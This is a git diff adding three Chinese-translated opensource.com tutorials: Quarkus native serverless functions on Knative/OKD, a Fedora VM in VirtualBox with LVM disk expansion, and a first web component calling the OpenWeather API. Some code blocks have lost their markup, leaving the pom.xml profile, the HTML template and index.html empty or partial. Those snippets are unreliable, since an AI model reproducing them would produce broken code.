+++ b/published/202210/20210604 Optimize Java serverless functions in Kubernetes.md @@ -0,0 +1,243 @@ +[#]: subject: (Optimize Java serverless functions in Kubernetes) +[#]: via: (https://opensource.com/article/21/6/java-serverless-functions-kubernetes) +[#]: author: (Daniel Oh https://opensource.com/users/daniel-oh) +[#]: collector: (lujun9972) +[#]: translator: (cool-summer-021) +[#]: reviewer: (wxy) +[#]: publisher: (wxy) +[#]: url: (https://linux.cn/article-15178-1.html) + +优化 Kubernetes 中的 Java 无服务器函数 +====== + +> 在 Kubernetes 中运行无服务器函数时,实现更快的启动速度和更小的内存占用。 + +![](https://img.linux.net.cn/data/attachment/album/202210/26/151603a4a44w1a71zk8b11.jpg) + +由于运行上千个应用程序容器荚Pod所耗费的资源多,令它实现较少工作节点和资源占用所需成本也较高,所以在使用 [Kubernetes][2] 时,快速启动和较少的内存占用是至关重要的。在 Kubernetes 平台运行容器化微服务时,内存占用是比吞吐量更重要的考量因素,这是因为: + + * 由于需要持续运行,所以耗费资源更多(不同于 CPU 占用) + * 微服务令开销成本成倍增加 + * 一个单体应用程序变为若干个微服务的情况(例如 20 个微服务占用的存储空间约有 20GB) + +这些情况极大影响了无服务器函数的发展和 Java 部署模型。到目前为止,许多企业开发人员选择 Go、Python 或 Node.js 这些替代方案来解决性能瓶颈,直到出现了 [Quarkus][3] 这种基于 kubernetes 的原生 Java 堆栈,才有所改观。本文介绍如何在使用了 Quarkus 的 kubernetes 平台上进行性能优化,以便运行无服务器函数。 + +### 容器优先的设计理念 + +由于 Java 生态系统中传统的框架都要进行框架的初始化,包括配置文件的处理、`classpath` 的扫描、类加载、注解的处理以及构建元模型,这些过程都是必不可少的,所以它们都比较耗费资源。如果使用了几种不同的框架,所耗费的资源也是成倍增加。 + +Quarkus 通过“左移shifting left”,把所有的资源开销大的操作都转移到构建阶段,解决了这些 Java 性能问题。在构建阶段进行代码和框架分析、字节码转换和动态元模型生成,而且只有一次,结果是:运行时可执行文件经过高度优化,启动非常快,不需要经过那些传统的启动过程,全过程只在构建阶段执行一次。 + +![Quarkus Build phase][4] + +更重要的是:Quarkus 支持构建原生可执行文件,它具有良好性能,包括快速启动和极小的驻留集大小resident set size(RSS)内存占用,跟传统的云原生 Java 栈相比,具备即时扩展的能力和高密度的内存利用。 + +![Quarkus RSS and Boot Time Metrics][7] + +这里有个例子,展示如何使用 Quarkus 将一个 [Java 无服务器][8] 项目构建为本地可执行文件。 + +### 1、使用 Quarkus 创建无服务器 Maven 项目 + +以下命令生成一个 Quarkus 项目,(例如 `quarkus-serverless-native`)以此创建一个简单的函数: + +``` +$ mvn io.quarkus:quarkus-maven-plugin:1.13.4.Final:create \ +       -DprojectGroupId=org.acme \ +       -DprojectArtifactId=quarkus-serverless-native \ +       -DclassName="org.acme.getting.started.GreetingResource" +``` + +### 2、构建一个本地可执行文件 + +你需要使用 GraalVM 为 Java 程序构建一个本地可执行文件。你可以选择 GraalVM 的任何发行版,例如 [Oracle GraalVM Community Edition (CE)][9] 或 [Mandrel][10](Oracle GraalVM CE 的下游发行版)。Mandrel 是为支持 OpenJDK 11 上的 Quarkus-native 可执行文件的构建而设计的。 + +打开 `pom.xml`,你将发现其中的 `native` 设置。你将使用它来构建本地可执行文件。 + +``` + +    +        native +        +            native +        +    + +``` + +> **注意:** 你可以在本地安装 GraalVM 或 Mandrel 发行版。你也可以下载 Mandrel 容器映像来构建它(像我那样),因此你还需要在本地运行一个容器引擎(例如 Docker)。 + +假设你已经打开了容器运行时,此时需要运行一下 Maven 命令: + +使用 [Docker][11] 作为容器引擎: + +``` +$ ./mvnw package -Pnative \ + -Dquarkus.native.container-build=true \ + -Dquarkus.native.container-runtime=docker +``` + +使用 [Podman][12] 作为容器引擎: + +``` +$ ./mvnw package -Pnative \ + -Dquarkus.native.container-build=true \ + -Dquarkus.native.container-runtime=podman +``` + +输出信息结尾应当是 `BUILD SUCCESS`。 + +![Native Build Logs][13] + +不借助 JVM 直接运行本地可执行文件: + +``` +$ target/quarkus-serverless-native-1.0.0-SNAPSHOT-runner +``` + +输出信息类似于: + +``` +__ ____ __ _____ ___ __ ____ ______ + --/ __ \/ / / / _ | / _ \/ //_/ / / / __/ + -/ /_/ / /_/ / __ |/ , _/ ,< / /_/ /\ \ +--\___\_\____/_/ |_/_/|_/_/|_|\____/___/ +INFO [io.quarkus] (main) quarkus-serverless-native 1.0.0-SNAPSHOT native +(powered by Quarkus xx.xx.xx.) Started in 0.019s. Listening on: http://0.0.0.0:8080 +INFO [io.quarkus] (main) Profile prod activated. +INFO [io.quarkus] (main) Installed features: [cdi, kubernetes, resteasy] +``` + +简直是超音速!启动只花了 19 毫秒。你的运行时间可能稍有不同。 + +使用 Linux 的 `ps` 工具检测一下,结果内存占用还是很低。检测的方法是:在应用程序运行期间,另外打开一个终端,运行如下命令: + +``` +$ ps -o pid,rss,command -p $(pgrep -f runner) +``` + +输出结果类似于: + +``` +  PID    RSS COMMAND +10246  11360 target/quarkus-serverless-native-1.0.0-SNAPSHOT-runner +``` + +该进程只占 11MB 内存。非常小! + +> **注意:** 各种应用程序(包括 Quarkus)的驻留集大小和内存占用,都因运行环境而异,并随着应用程序载入而上升。 + +你也可以使用 REST API 访问这个函数。输出结果应该是 `Hello RESTEasy`: + +``` +$ curl localhost:8080/hello +Hello RESTEasy +``` + +### 3、把函数部署到 Knative 服务 + +如果你还没有创建命名空间,现在就在 [OKD][15](OpenShift Kubernetes 发行版)[创建一个命名空间][14](例如 `quarkus-serverless-native`),进而把这个本地可执行文件部署为无服务器函数。然后添加 `quarkus-openshift` 扩展: + +``` +$ ./mvnw -q quarkus:add-extension -Dextensions="openshift" +``` + +向 `src/main/resources/application.properties` 文件中添加以下内容,配置 Knative 和 Kubernetes 的相关资源: + +``` +quarkus.container-image.group=quarkus-serverless-native +quarkus.container-image.registry=image-registry.openshift-image-registry.svc:5000 +quarkus.native.container-build=true +quarkus.kubernetes-client.trust-certs=true +quarkus.kubernetes.deployment-target=knative +quarkus.kubernetes.deploy=true +quarkus.openshift.build-strategy=docker +``` + +构建本地可执行文件,并把它直接部署到 OKD 集群: + +``` +$ ./mvnw clean package -Pnative +``` + +> **注意:** 提前使用 `oc login` 命令,确保登录的是正确的项目(例如 `quarkus-serverless-native`)。 + +输出信息结尾应当是 `BUILD SUCCESS`。完成一个本地二进制文件的构建并部署为 Knative 服务需要花费几分钟。成功创建服务后,使用 `kubectl` 或 `oc` 命令工具,可以查看 Knative 服务和版本信息: + +``` +$ kubectl get ksvc +NAME URL [...] +quarkus-serverless-native http://quarkus-serverless-native-[...].SUBDOMAIN True + +$ kubectl get rev +NAME CONFIG NAME K8S SERVICE NAME GENERATION READY REASON +quarkus-serverless-native-00001 quarkus-serverless-native quarkus-serverless-native-00001 1 True +``` + +### 4、访问本地可执行函数 + +运行 `kubectl` 命令,搜索无服务器函数的节点: + +``` +$ kubectl get rt/quarkus-serverless-native +``` + +输出信息类似于: + +``` +NAME URL READY REASON +quarkus-serverless-native http://quarkus-serverless-restapi-quarkus-serverless-native.SUBDOMAIN True +``` + +用 `curl` 命令访问上述信息中的 `URL` 字段: + +``` +$ curl http://quarkus-serverless-restapi-quarkus-serverless-native.SUBDOMAIN/hello +``` + +过了不超过一秒钟,你也会得到跟本地操作一样的结果: + +``` +Hello RESTEasy +``` + +当你在 OKD 群集中访问 Quarkus 运行中的节点的日志,你会发现本地可执行文件正在以 Knative 服务的形式运行。 + +![Native Quarkus Log][16] + +### 下一步呢? + +你可以借助 GraalVM 发行版优化 Java 无服务器函数,从而在 Knative 中使用 Kubernetes 将它们部署为无服务器函数。Quarkus 支持在普通的微服务中使用简易配置进行性能优化。 + +本系列的下一篇文章将指导你在不更改代码的情况下跨多个无服务器平台实现可移植函数。 + +*(Daniel Oh, [CC BY-SA 4.0][5])* + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/21/6/java-serverless-functions-kubernetes + +作者:[Daniel Oh][a] +选题:[lujun9972][b] +译者:[cool-summer-021](https://github.com/cool-summer-021) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/daniel-oh +[b]: https://github.com/lujun9972 +[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/ship_captain_devops_kubernetes_steer.png?itok=LAHfIpek (Ship captain sailing the Kubernetes seas) +[2]: https://opensource.com/article/19/6/reasons-kubernetes +[3]: https://quarkus.io/ +[4]: https://opensource.com/sites/default/files/uploads/quarkus-build.png (Quarkus Build phase) +[5]: https://creativecommons.org/licenses/by-sa/4.0/ +[6]: https://quarkus.io/blog/runtime-performance/ +[7]: https://opensource.com/sites/default/files/uploads/quarkus-boot-metrics.png (Quarkus RSS and Boot Time Metrics) +[8]: https://opensource.com/article/21/5/what-serverless-java +[9]: https://www.graalvm.org/community/ +[10]: https://github.com/graalvm/mandrel +[11]: https://www.docker.com/ +[12]: https://podman.io/ +[13]: https://opensource.com/sites/default/files/uploads/native-build-logs.png (Native Build Logs) +[14]: https://docs.okd.io/latest/applications/projects/configuring-project-creation.html +[15]: https://docs.okd.io/latest/welcome/index.html +[16]: https://opensource.com/sites/default/files/uploads/native-quarkus-log.png (Native Quarkus Log) diff --git a/published/202210/20210629 Try Linux on any operating system with VirtualBox.md b/published/202210/20210629 Try Linux on any operating system with VirtualBox.md new file mode 100644 index 0000000000..8c05f463fc --- /dev/null +++ b/published/202210/20210629 Try Linux on any operating system with VirtualBox.md @@ -0,0 +1,264 @@ +[#]: subject: (Try Linux on any operating system with VirtualBox) +[#]: via: (https://opensource.com/article/21/6/try-linux-virtualbox) +[#]: author: (Stephan Avenwedde https://opensource.com/users/hansic99) +[#]: collector: (lujun9972) +[#]: translator: (chai001125) +[#]: reviewer: (wxy) +[#]: publisher: (wxy) +[#]: url: (https://linux.cn/article-15183-1.html) + +使用 VirtualBox 安装 Linux 虚拟机 +====== + +> VirtualBox 能帮助任何人(即使是命令行新手)安装一个新的虚拟机。 + +![](https://img.linux.net.cn/data/attachment/album/202210/27/104215te6xpq2e2vvxprjs.jpg) + +VirtualBox 能让任何人都可以轻松安装 Linux 虚拟机。你不需要有使用命令行的经验,就可以自己安装一个简单的 Linux 虚拟机。在虚拟机方面,我精通很多东西,但这篇文章将向新手展示如何安装一个 Linux 虚拟机。此外,这篇文章还概述了如何使用开源虚拟机管理程序 [VirtualBox][2] ,来运行以及安装一个测试目的的 Linux 系统。 + +### 一些术语 + +在开始之前,你需要了解在本安装教程中的两个操作系统(OS)之间的区别: + + * 主机系统host system:这指的是你安装 VirtualBox 的操作系统(即本机的操作系统)。 + * 客体系统guest system:这指的是你想要在主机系统之上运行的虚拟化系统。 + +在输入/输出、网络、文件访问、剪贴板、音频和视频方面,主机系统和客体系统都必须能够交互。 + +在本教程中,我将使用 Windows 10 作为 _主机系统_,[Fedora 33][3] 作为 _客体系统_。 + +### 安装前的准备 + +当我们谈论虚拟化时,实际上,我们指的是 [硬件辅助虚拟化][4]。硬件辅助虚拟化需要兼容的 CPU。过去十年来,几乎每个普通的 x86 CPU 都有这一功能。AMD 公司称这样的 x86 CPU 是具有 **AMD 虚拟化技术(AMD-V)** 的处理器,英特尔公司则称其是具有 **Intel 虚拟化技术(VT-x)** 的处理器。虚拟化功能增加了一些额外的 CPU 指令,你可以在 BIOS 中启用或禁用这些指令。 + +在安装虚拟机之前: + + * 确保在 BIOS 中启用了虚拟化技术(AMD-V 或 VT-x)。 + * 下载并安装好 [VirtualBox][5]。 + +### 准备虚拟机 + +下载你要用的 Linux 发行版的镜像文件。下载 32 位还是 64 位的操作系统镜像都没有关系,因为在 32 位的主机系统上也可以启动 64 位的操作系统镜像(当然内存的使用会受限),反之亦然。 + +> **注意事项:** 如果可以的话,请下载附带有 [逻辑卷管理器][6](LVM)的 Linux 发行版。LVM 会将文件系统与物理硬盘驱动器解耦。如果你的空间不足时,这能够让你增加客体系统的硬盘驱动器的大小。 + +现在,打开 VirtualBox,然后单击黄色的“新建New”按钮: + +![VirtualBox New VM][7] + +接下来,配置客体操作系统允许使用多少内存: + +![Set VM memory size][9] + +我的建议是:**不要吝啬分配给客体操作系统使用的内存!** 当客体操作系统的内存不足时,客体系统将开始从随机存取存储器(RAM)向硬盘驱动器进行内存分页,这样会极大地恶化系统的性能和响应能力。如果底层的主机系统开始分页,你很可能不会注意到。对于具有图形化桌面环境的 Linux 工作站系统,我建议至少分配 4GB 内存。 + +接下来,创建虚拟磁盘: + +![Create virtual hard disk][10] + +虚拟磁盘的格式选择默认的选项 “VDI(VirtualBox 磁盘镜像)” 就可以了: + +![Selecting hard disk file type][11] + +在以下的窗口中,我建议选择“动态分配dynamically allocated”,因为这允许你在之后增加虚拟磁盘的大小。如果你选择了“固定大小fixed size”,磁盘的速度可能会更快,但你将无法修改虚拟磁盘的大小了: + +![Dynamically allocating hard disk][12] + +建议你使用附带有逻辑卷管理器(LVM)的 Linux 发行版,这样你就可以先创建一个较小的硬盘。如果之后你的客体系统的空间快用完了,你可以按需增加磁盘的大小。 + +> **注意**:我选择的客体系统为 Fedora,在 Fedora 的官网说明:[Fedora 至少需要分配 20GB 的空闲磁盘空间][13]。我强烈建议你遵守该规范。在这里,我选择了 8GB,以便稍后演示如何用命令行增加磁盘空间。如果你是 Linux 新手,或者对命令行没有经验,请依旧选择 20GB。 + +![Setting hard disk size][14] + +创建好硬盘驱动器后,从 VirtualBox 主窗口的列表中选择新创建的虚拟机,然后单击“设置Settings”。在设置菜单中,点击“系统System”,然后选择“处理器Processor”标签。默认情况下,VirtualBox 只向客体系统分配一个 CPU 内核。在现代多核 CPU 计算机上,分配至少两个内核是没有任何问题的,这能显著地加快客体系统的速度: + +![Assigning cores to guest system][15] + +#### 设置网络适配器 + +接下来,要处理的是网络设置。默认情况下, VirtualBox 会创建一个 NAT 连接,这对于大多数情况来说,是没有问题、不用做其他更改的: + +![Network settings][16] + +你也可以创建多个网络适配器。以下是网络适配器最常见的类型: + + * NAT:NAT 适配器能自动执行 [网络地址转换][17]。从外部看,主机和客体系统使用着相同的 IP 地址。你无法通过网络从主机系统内访问客体系统。(尽管,你也可以通过定义 [端口转发][18],来访问某些服务。)当你的主机系统可以访问互联网时,则你的客体系统也可以访问互联网。NAT 不再需要进一步的配置。 + * _如果你只需要让客体系统接入互联网就可以的话,请选择 “NAT”。_ + * 桥接适配器Bridged adapter:在此配置中,客体系统和主机系统可以共享相同的物理以太网设备。这两个系统都将拥有独立的 IP 地址。从外部看,网络中会有两个独立的系统,它们共享相同的物理以太网适配器。这种设置更灵活,但需要更多的配置。 + * _如果你想要共享客体系统的网络服务的话,请选择 “桥接适配器”。_ + * 仅限主机的适配器Host-only adapter:在此配置中,客体系统只能与主机,或在同一主机上运行的其他客体系统相互通信。主机系统也可以连接到客体系统。但客体系统不能接入互联网或物理网络。 + * _如果你想要获得高安全性,请选择 “仅限主机的适配器”。_ + +#### 分配操作系统镜像 + +在设置菜单中,点击“存储Storage”,然后选择虚拟光盘驱动器。单击右侧的 “光盘”图标,然后点击“选择一个磁盘文件……Choose a disk file…”,然后分配你想要安装的、已下载的 Linux 发行版镜像: + +![Assigning OS image][19] + +### 安装 Linux + +现在,就已经配置好了虚拟机。右上角关闭“设置Settings”菜单,返回主窗口。点击“绿色箭头”(即“开始”按钮)。虚拟机将从虚拟光盘驱动器启动,你将发现你已经进入到 Linux 发行版的安装程序中: + +![VirtualBox Fedora installer][20] + +#### 设置分区 + +安装程序将在安装过程中要求你提供分区信息。选择“自定义Custom”: + +![Selecting Custom partition configuration][21] + +> **注意:** 我假设,你创建这一虚拟机的目的是为了测试。此外,你也无需关心客体系统的休眠,因为此功能会由 VirtualBox 来隐式地提供。因此,你可以省略交换分区,以节省主机系统的磁盘空间。请记住,如果你需要的话,你可以稍后自己添加交换分区。在 《[Linux 系统交换空间的介绍][22]》 这篇文章中,作者 David Both 进一步解释了如何添加交换分区,并选择交换分区正确的大小。 + +Fedora 33 及之后更高的版本提供了一个 [zram 分区][23],zram 分区可以用于存放分页和交换、并经过压缩过后的硬盘数据。zram 分区可以按需地调整大小,并且它比硬盘交换分区快得多。 + +为了简单,我们只添加以下两个挂载点Mount Point: + +![Adding mount points][24] + +保存更改,接下来我们继续安装。 + +### 安装 VirtualBox 增强功能 + +完成安装后,从硬盘驱动器启动,并登录到虚拟机。现在,你可以安装 VirtualBox 增强功能VirtualBox Guest Additions,其中包括特殊的设备驱动程序和系统应用程序,它们能提供以下功能: + + * 共享剪贴板 + * 共享文件夹 + * 更好的性能 + * 可自由扩展的窗口大小 + +点击顶部菜单栏的“设备Devices”,然后选择“插入增强功能的 CD 镜像……Insert Guest Additions CD image...”,来安装 VirtualBox 增强功能: + +![Selecting Guest Additions CD image][25] + +在大多数 Linux 发行版上,带有增强功能的 CD 镜像会自动挂载,并且能够在文件管理器中找到。Fedora 会问你是否要运行安装脚本。单击“运行Run”,并授予该安装进程 root 权限: + +![Enabling Guest Additions autorun][26] + +安装完成后,需要重新启动系统。 + +### LVM:扩大磁盘空间 + +我在之前给 Fedora 虚拟机分配了 8GB 硬盘空间,是一个愚蠢的决定,因为 Fedora 很快就会告警空间不足: + +![Fedora hard disk running out of space][27] + +正如我提到的,Fedora 官网建议安装时分配 20GB 的磁盘空间。因为 8GB 是 Fedora 33 安装启动就需要的最少空间。没有安装其他软件(除了 VirtualBox 增强功能)的一个新安装的系统就几乎占用了整个 8GB 的可用空间。这时候,不要打开 GNOME 软件中心或任何其他可能从互联网下载文件的东西。 + +幸运的是,我选择了附带有 LVM 的 Fedora,这样我就可以用命令行轻松地修复这个问题。 + +要增加虚拟机中文件系统的空间,你必须先增加主机系统上分配的虚拟硬盘驱动器。 + +关闭虚拟机。如果你的主机系统运行的是 Windows,请打开终端,并进入到 `C:\Program Files\Oracle\VirtualBox` 目录下。使用以下命令,将磁盘大小扩大到 12,000MB: + +``` +VBoxManage.exe modifyhd "C:\Users\StephanA\VirtualBox VMs\Fedora_33\Fedora_33.vdi" --resize 12000 +``` + +然后启动虚拟机,并打开“磁盘Disks”工具。你可以看到你刚刚新创建且未分配的可用空间。选择“可用空间Free Space”,然后单击 “+” 按钮: + +![Free space before adding][28] + +现在,创建一个新的分区。选择你要使用的可用空间的大小: + +![Creating a new partition and setting size][29] + +如果你不想在新分区上创建文件系统或任何其他内容,请选择“其他Other”: + +![Selecting "other" for partition volume type][30] + +选择“无文件系统No Filesystem”: + +![Setting "No filesystem" on new partition][31] + +现在,磁盘空间应该如下图所示: + +![VirtualBox after adding new partition][32] + +虚拟机有了一个新的分区设备:`/dev/sda3`。通过输入 `vgscan` ,来检查你的 LVM 卷组,找到 `fedora_localhost_live` 这一 LVM 卷组 : + +![Checking LVM volume group by typing vgscan:][33] + +现在,已经万事俱备了。在新分区 `/dev/sda3` 中扩展卷组 `fedora_localhost_live`: + +``` +vgextend fedora_localhost-live /dev/sda3 +``` + +![vgextend command output][34] + +由于卷组比逻辑卷大,你可以增加逻辑卷的大小。命令 `vgdisplay` 显示了共有 951 个可用的物理扩展(PE): + +![vgdisplay command output][35] + +将逻辑卷增加 951 个物理扩展: + +``` +lvextend -l+951 /dev/mapper/fedora_localhost--live-root +``` + +![lvextend command output][36] + +在增加了逻辑卷后,最后一件事就是调整文件系统的大小: + +``` +resize2fs /dev/mapper/fedora_localhost--live-root +``` + +![resize2fs command output][37] + +这样磁盘空间就增加完成了!检查“磁盘使用分析器Disk Usage Analyzer”,你就可以看到扩展空间已经可用于文件系统了。 + +### 总结 + +使用虚拟机,你可以检查在一个特定的操作系统或一个特定版本的操作系统、软件是如何操作的。除此之外,你还可以尝试任何想测试的 Linux 发行版,而不必担心系统损坏。对于资深用户来说,VirtualBox 在测试、网络和模拟方面提供了广泛的可能性。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/21/6/try-linux-virtualbox + +作者:[Stephan Avenwedde][a] +选题:[lujun9972][b] +译者:[chai001125](https://github.com/chai001125) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/hansic99 +[b]: https://github.com/lujun9972 +[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/computer_code_programming_laptop.jpg?itok=ormv35tV (Person programming on a laptop on a building) +[2]: https://www.virtualbox.org/ +[3]: https://getfedora.org/ +[4]: https://en.wikipedia.org/wiki/Hardware-assisted_virtualization +[5]: https://www.virtualbox.org/wiki/Downloads +[6]: https://en.wikipedia.org/wiki/Logical_Volume_Manager_(Linux) +[7]: https://opensource.com/sites/default/files/uploads/virtualbox_new_vm.png (VirtualBox New VM) +[8]: https://creativecommons.org/licenses/by-sa/4.0/ +[9]: https://opensource.com/sites/default/files/uploads/virtualbox_memory_size_1.png (Set VM memory size) +[10]: https://opensource.com/sites/default/files/uploads/virtualbox_create_hd_1.png (Create virtual hard disk) +[11]: https://opensource.com/sites/default/files/uploads/virtualbox_create_hd_2.png (Selecting hard disk file type) +[12]: https://opensource.com/sites/default/files/uploads/virtualbox_create_hd_3.png (Dynamically allocating hard disk) +[13]: https://getfedora.org/en/workstation/download/ +[14]: https://opensource.com/sites/default/files/uploads/virtualbox_create_hd_4.png (Setting hard disk size) +[15]: https://opensource.com/sites/default/files/uploads/virtualbox_cpu_settings.png (Assigning cores to guest system) +[16]: https://opensource.com/sites/default/files/uploads/virtualbox_network_settings2.png (Network settings) +[17]: https://en.wikipedia.org/wiki/Network_address_translation +[18]: https://www.virtualbox.org/manual/ch06.html#natforward +[19]: https://opensource.com/sites/default/files/uploads/virtualbox_choose_image3.png (Assigning OS image) +[20]: https://opensource.com/sites/default/files/uploads/virtualbox_running.png (VirtualBox Fedora installer) +[21]: https://opensource.com/sites/default/files/uploads/virtualbox_partitioning_1.png (Selecting Custom partition configuration) +[22]: https://opensource.com/article/18/9/swap-space-linux-systems +[23]: https://fedoraproject.org/wiki/Changes/SwapOnZRAM +[24]: https://opensource.com/sites/default/files/uploads/virtualbox_partitioning_2.png (Adding mount points) +[25]: https://opensource.com/sites/default/files/uploads/virtualbox_guest_additions_2.png (Selecting Guest Additions CD image) +[26]: https://opensource.com/sites/default/files/uploads/virtualbox_guest_additions_autorun.png (Enabling Guest Additions autorun) +[27]: https://opensource.com/sites/default/files/uploads/virtualbox_disk_usage_1.png (Fedora hard disk running out of space) +[28]: https://opensource.com/sites/default/files/uploads/virtualbox_disks_before.png (Free space before adding) +[29]: https://opensource.com/sites/default/files/uploads/virtualbox_new_partition_1.png (Creating a new partition and setting size) +[30]: https://opensource.com/sites/default/files/uploads/virtualbox_new_partition_2.png (Selecting "other" for partition volume type) +[31]: https://opensource.com/sites/default/files/uploads/virtualbox_no_partition_3.png (Setting "No filesystem" on new partition) +[32]: https://opensource.com/sites/default/files/uploads/virtualbox_disk_after.png (VirtualBox after adding new partition) +[33]: https://opensource.com/sites/default/files/uploads/virtualbox_vgscan.png (Checking LVM volume group by typing vgscan:) +[34]: https://opensource.com/sites/default/files/uploads/virtualbox_vgextend_2.png (vgextend command output) +[35]: https://opensource.com/sites/default/files/uploads/virtualbox_vgdisplay.png (vgdisplay command output) +[36]: https://opensource.com/sites/default/files/uploads/virtualbox_lvextend.png (lvextend command output) +[37]: https://opensource.com/sites/default/files/uploads/virtualbox_resizefs.png (resize2fs command output) diff --git a/published/202210/20210721 Write your first web component.md b/published/202210/20210721 Write your first web component.md new file mode 100644 index 0000000000..7f839f4858 --- /dev/null +++ b/published/202210/20210721 Write your first web component.md @@ -0,0 +1,184 @@ +[#]: subject: (Write your first web component) +[#]: via: (https://opensource.com/article/21/7/web-components) +[#]: author: (Ramakrishna Pattnaik https://opensource.com/users/rkpattnaik780) +[#]: collector: (lujun9972) +[#]: translator: (cool-summer-021) +[#]: reviewer: (wxy) +[#]: publisher: (wxy) +[#]: url: (https://linux.cn/article-15148-1.html) + +开发你的第一个 Web 组件 +====== + +> 不要做重复的工作;基于浏览器开发 Web App 时,需要制作一些可重用的模块。 + +![](https://img.linux.net.cn/data/attachment/album/202210/17/101134uzsiis8xsu9wqibi.jpg) + +Web 组件是一系列开源技术(例如 JavaScript 和 HTML)的集合,你可以用它们创建一些 Web App 中可重用的自定义元素。你创建的组件是独立于其他代码的,所以这些组件可以方便地在多个项目中重用。 + +首先,它是一个平台标准,所有主流的浏览器都支持它。 + +### Web 组件中包含什么? + + * **定制元素**:JavaScript API 支持定义 HTML 元素的新类别。 + * **影子 DOM**:JavaScript API 提供了一种将一个隐藏的、独立的 [文档对象模型][2](DOM)附加到一个元素的方法。它通过保留从页面的其他代码分离出来的样式、标记结构和行为特征对 Web 组件进行了封装。它会确保 Web 组件内样式不会被外部样式覆盖,反之亦然,Web 组件内样式也不会“泄露”到页面的其他部分。 + * **HTML 模板**:该元素支持定义可重用的 DOM 元素。可重用 DOM 元素和它的内容不会呈现在 DOM 内,但仍然可以通过 JavaScript 被引用。 + +### 开发你的第一个 Web 组件 + +你可以借助你最喜欢的文本编辑器和 JavaScript 写一个简单的 Web 组件。本指南使用 Bootstrap 生成简单的样式,并创建一个简易的卡片式的 Web 组件,给定了位置信息,该组件就能显示该位置的温度。该组件使用了 [Open Weather API][3],你需要先注册,然后创建 APPID/APIKey,才能正常使用。 + +调用该组件,需要给出位置的经度和纬度: + +``` + +``` + +创建一个名为 `weather-card.js` 的文件,这个文件包含 Web 组件的所有代码。首先,需要定义你的组件,创建一个模板元素,并在其中加入一些简单的 HTML 标签: + +``` +const template = document.createElement('template'); + +template.innerHTML = ` + 
+   
+` +``` + +定义 Web 组件的类及其构造函数: + +``` +class WeatherCard extends HTMLElement { +  constructor() { +    super(); +    this._shadowRoot = this.attachShadow({ 'mode': 'open' }); +    this._shadowRoot.appendChild(template.content.cloneNode(true)); +  } +  ...... +} +``` + +构造函数中,附加了 `shadowRoot` 属性,并将它设置为开启模式。然后这个模板就包含了 shadowRoot 属性。 + +接着,编写获取属性的函数。对于经度和纬度,你需要向 Open Weather API 发送 GET 请求。这些功能需要在 `connectedCallback` 函数中完成。你可以使用 `getAttribute` 方法访问相应的属性,或定义读取属性的方法,把它们绑定到本对象中。 + +``` +get longitude() { +  return this.getAttribute('longitude'); +} + +get latitude() { +  return this.getAttribute('latitude'); +} +``` + +现在定义 `connectedCallBack` 方法,它的功能是在需要时获取天气数据: + +``` +connectedCallback() { + var xmlHttp = new XMLHttpRequest(); + const url = `http://api.openweathermap.org/data/2.5/weather?lat=${this.latitude}&lon=${this.longitude}&appid=API_KEY` + xmlHttp.open("GET", url, false); + xmlHttp.send(null); + this.$card = this._shadowRoot.querySelector('.card-body'); + let responseObj = JSON.parse(xmlHttp.responseText); + let $townName = document.createElement('p'); + $townName.innerHTML = `Town: ${responseObj.name}`; + this._shadowRoot.appendChild($townName); + let $temperature = document.createElement('p'); + $temperature.innerHTML = `${parseInt(responseObj.main.temp - 273)} °C` + this._shadowRoot.appendChild($temperature); +} +``` + +一旦获取到天气数据,附加的 HTML 元素就添加进了模板。至此,完成了类的定义。 + +最后,使用 `window.customElements.define` 方法定义并注册一个新的自定义元素: + +``` +window.customElements.define('weather-card', WeatherCard); +``` + +其中,第一个参数是自定义元素的名称,第二个参数是所定义的类。这里是 [整个组件代码的链接][5]。 + +你的第一个 Web 组件的代码已完成!现在应该把它放入 DOM。为了把它放入 DOM,你需要在 HTML 文件(`index.html`)中载入指向 Web 组件的 JavaScript 脚本。 + +``` + + + + +  + + + + + + + +``` + +这就是显示在浏览器中的 Web 组件: + +![Web component displayed in a browser][6] + +由于 Web 组件中只包含 HTML、CSS 和 JavaScript,它们本来就是浏览器所支持的,并且可以无瑕疵地跟前端框架(例如 React 和 Vue)一同使用。下面这段简单的代码展现的是它跟一个由 [Create React App][8] 引导的一个简单的 React App 的整合方法。如果你需要,可以引入前面定义的 `weather-card.js`,把它作为一个组件使用: + +``` +import './App.css'; +import './weather-card'; + +function App() { +  return ( +  +  ); +} + +export default App; +``` + +### Web 组件的生命周期 + +一切组件都遵循从初始化到移除的生命周期法则。每个生命周期事件都有相应的方法,你可以借助这些方法令组件更好地工作。Web 组件的生命周期事件包括: + + * `Constructor`:Web 组件的构造函数在它被挂载前调用,意味着在元素附加到文档对象前被创建。它用于初始化本地状态、绑定事件处理器以及创建影子 DOM。在构造函数中,必须调用 `super()`,执行父类的构造函数。 + * `ConnectedCallBack`:当一个元素被挂载(即,插入 DOM 树)时调用。该函数处理创建 DOM 节点的初始化过程中的相关事宜,大多数情况下用于类似于网络请求的操作。React 开发者可以将它与 `componentDidMount` 相关联。 + * `attributeChangedCallback`:这个方法接收三个参数:`name`, `oldValue` 和 `newValue`。组件的任一属性发生变化,就会执行这个方法。属性由静态 `observedAttributes` 方法声明: + ``` + static get observedAttributes() { +   return ['name', '_id']; + } + ``` + 一旦属性名或 `_id` 改变,就会调用 `attributeChangedCallback` 方法。 + * `DisconnectedCallBack`:当一个元素从 DOM 树移除,会执行这个方法。它相当于 React 中的 `componentWillUnmount`。它可以用于释放不能由垃圾回收机制自动清除的资源,比如 DOM 事件的取消订阅、停用计时器或取消所有已注册的回调方法。 + * `AdoptedCallback`:每次自定义元素移动到一个新文档时调用。只有在处理 IFrame 时会发生这种情况。 + +### 模块化开源 + +Web 组件对于开发 Web App 很有用。无论你是熟练使用 JavaScript 的老手,还是初学者,无论你的目标客户使用哪种浏览器,借助这种开源标准创建可重用的代码都是一件可以轻松完成的事。 + +*插图:Ramakrishna Pattnaik, [CC BY-SA 4.0][7]* + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/21/7/web-components + +作者:[Ramakrishna Pattnaik][a] 